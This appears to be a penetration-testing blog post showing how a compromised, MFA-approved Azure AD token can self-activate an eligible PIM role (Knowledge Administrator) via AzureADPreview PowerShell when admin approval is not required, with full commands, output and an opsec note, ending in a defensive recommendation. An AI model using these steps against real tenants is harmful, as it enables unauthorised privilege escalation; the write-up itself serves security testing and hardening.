Introduction
According to Microsoft: "Privileged Identity Management (PIM) is a service in Azure Active Directory (Azure AD) that enables you to manage, control, and monitor access to important resources in your organization."
Amongst others, PIM allow you to grant temporary privileged roles' access to specific users or groups in Azure AD instead of giving them permanent access. This is meant to be a barrier against compromission of one user leading to privilege escalation towards the roles of that user. In a classical attack scenario you would assume the following:
User A compromised = attacker has all roles associated with User A
While with PIM set up you would assume:
User A compromised = attacker has permanent roles of User A but not elligible ones
The attacker would need the PIM role assignment to be activated to be granted temporary roles handled by PIM, hence improving the security of the Azure tenant by adding an additional layer.
In this article, we will show that the above assumption is not always true as it exists PIM settings allowing one to still gain access to roles handled by PIM when incorrectly set up.
Attack scenario
Prerequisites
Note that the AzureAD preview module is needed to follow the below scenario:
PS > Install-Module AzureADPreview
We will assume that we have already compromised a user of a target Azure tenant. We thus currently got hold of an Azure token that is MFA-approved. The aim of this article is not to describe how to obtain such tokens as it has been documented in the past:
- Gathering Bearer Tokens from Azure Services (netspi.com)
- Journey to Azure AD PRT: Getting access with pass-the-token and pass-the-cert (o365blog.com)
- PayloadsAllTheThings/Cloud - Azure Pentest.md at master · swisskyrepo/PayloadsAllTheThings (github.com).
PIM assignment
The PIM assignment setup by the target organization we are going to use has specific settings:
- It enforce the use of MFA
- It does not require administrator approval
- it requires a textual justification of why the role was needed from the user
Reconnaissance
We retreive our current compromised user ID:
PS > Get-AzureADCurrentSessionInfo | fl
Account : [email protected]
Environment : AzureCloud
Tenant : <tenant_id>
TenantId : <tenant_id>
TenantDomain : domain.com
PS > Get-AzureADUser -ObjectId '[email protected]'
ObjectId DisplayName UserPrincipalName UserType
-------- ----------- ----------------- --------
0253985b-9500-4559-9421-2281af3d90bb Jeffrey BENCTEUX [email protected] Member
We list what PIM assignments this user has:
PS > Get-AzureADMSPrivilegedRoleAssignment -ProviderId 'aadRoles' -ResourceId '<tenant_id>' -Filter "SubjectId eq '0253985b-9500-4559-9421-2281af3d90bb'"
Id : 89yotdUJqUOmOY4p7ykUcFuYUwIAlVlFlCEiga89kLs-1
ResourceId : <tenant_id>
RoleDefinitionId : b5a8dcf3-09d5-43a9-a639-8e29ef291470 <== This is the role we can reach
SubjectId : 0253985b-9500-4559-9421-2281af3d90bb <== This is our user ID
LinkedEligibleRoleAssignmentId :
ExternalId : 89yotdUJqUOmOY4p7ykUcFuYUwIAlVlFlCEiga89kLs-1
StartDateTime : 7/20/2022 9:56:37 AM
EndDateTime :
AssignmentState : Eligible
MemberType : Direct
We see above that this user has an elligible role assignment, proof that PIM is in use in the tenant. We check what is the role corresponding to the above RoleDefinitionId
:
PS > Get-AzureADDirectoryRole | Where-Object {$_.RoleTemplateId -eq 'b5a8dcf3-09d5-43a9-a639-8e29ef291470'} | fl
DeletionTimestamp :
ObjectId : 27f24303-60e8-44de-b368-7ab9dcd9a4ba
ObjectType : Role
Description : Can configure knowledge, learning, and other intelligent features.
DisplayName : Knowledge Administrator
IsSystem : True
RoleDisabled : False
RoleTemplateId : b5a8dcf3-09d5-43a9-a639-8e29ef291470
So our user [email protected] is elligible to the Knowledge Administrator
role according to the above.
Role activation
We can script the activation of the assigned role by providing a time period for it, and a reason:
PS > $schedule = New-Object Microsoft.Open.MSGraph.Model.AzureADMSPrivilegedSchedule
>> $schedule.Type = "Once"
>> $schedule.StartDateTime = (Get-Date).ToUniversalTime().ToString("yyyy-MM-ddTHH:mm:ss.fffZ")
>> $schedule.endDateTime = "2022-07-20T13:49:11.770Z"
>> Open-AzureADMSPrivilegedRoleAssignmentRequest -ProviderId 'aadRoles' -ResourceId '<tenant_id>' -RoleDefinitionId 'b5a8dcf3-09d5-43a9-a639-8e29ef291470' -SubjectId '0253985b-9500-4559-9421-2281af3d90bb' -Type 'UserAdd' -AssignmentState 'Active' -Schedule $schedule -Reason "PIM from powershell"
ResourceId : <tenant_id>
RoleDefinitionId : b5a8dcf3-09d5-43a9-a639-8e29ef291470
SubjectId : 0253985b-9500-4559-9421-2281af3d90bb
Type : UserAdd
AssignmentState : Active
Schedule : class AzureADMSPrivilegedSchedule {
StartDateTime: 7/20/2022 9:56:37 AM
EndDateTime: 7/20/2022 1:49:11 PM
Type: Once
Duration: PT0S
}
Reason : PIM from powershell
And that is it. We now have the Knowledge Administrator
role. We can verify it:
Get-AzureADMSPrivilegedRoleAssignment -ProviderId "aadRoles" -ResourceId "<tenant_id>" -Filter "subjectId eq '0253985b-9500-4559-9421-2281af3d90bb'"
Id : 89yotdUJqUOmOY4p7ykUcFuYUwIAlVlFlCEiga89kLs-1
ResourceId : <tenant_id>
RoleDefinitionId : b5a8dcf3-09d5-43a9-a639-8e29ef291470
SubjectId : 0253985b-9500-4559-9421-2281af3d90bb
LinkedEligibleRoleAssignmentId : 89yotdUJqUOmOY4p7ykUcFuYUwIAlVlFlCEiga89kLs-1-e
ExternalId : 89yotdUJqUOmOY4p7ykUcFuYUwIAlVlFlCEiga89kLs-1
StartDateTime : 7/20/2022 9:56:37 AM
EndDateTime : 7/20/2022 1:49:11 PM
AssignmentState : Active <== state is now active, role is effective
MemberType : Direct
If the user is active and there is an ID in the LinkedEligibleRoleAssignmentId
field, that means the role is currently activated.
Note that no extra MFA prompt appears, even if the PIM assignment specifies that MFA is required, as our token is MFA-approved and still valid.
Oppsec note: the above will trigger an event in the monitoring of the target organization (in the PIM audit log).
Recommendations
If not set up properly, PIM will not be a defense barrier against a potential attacker as it will allow a user to promote himself to privileged roles he is allowed to via role assignments. To avoid scenarios such as the above one, we recommend to:
- always require administrator approval in PIM assignment settings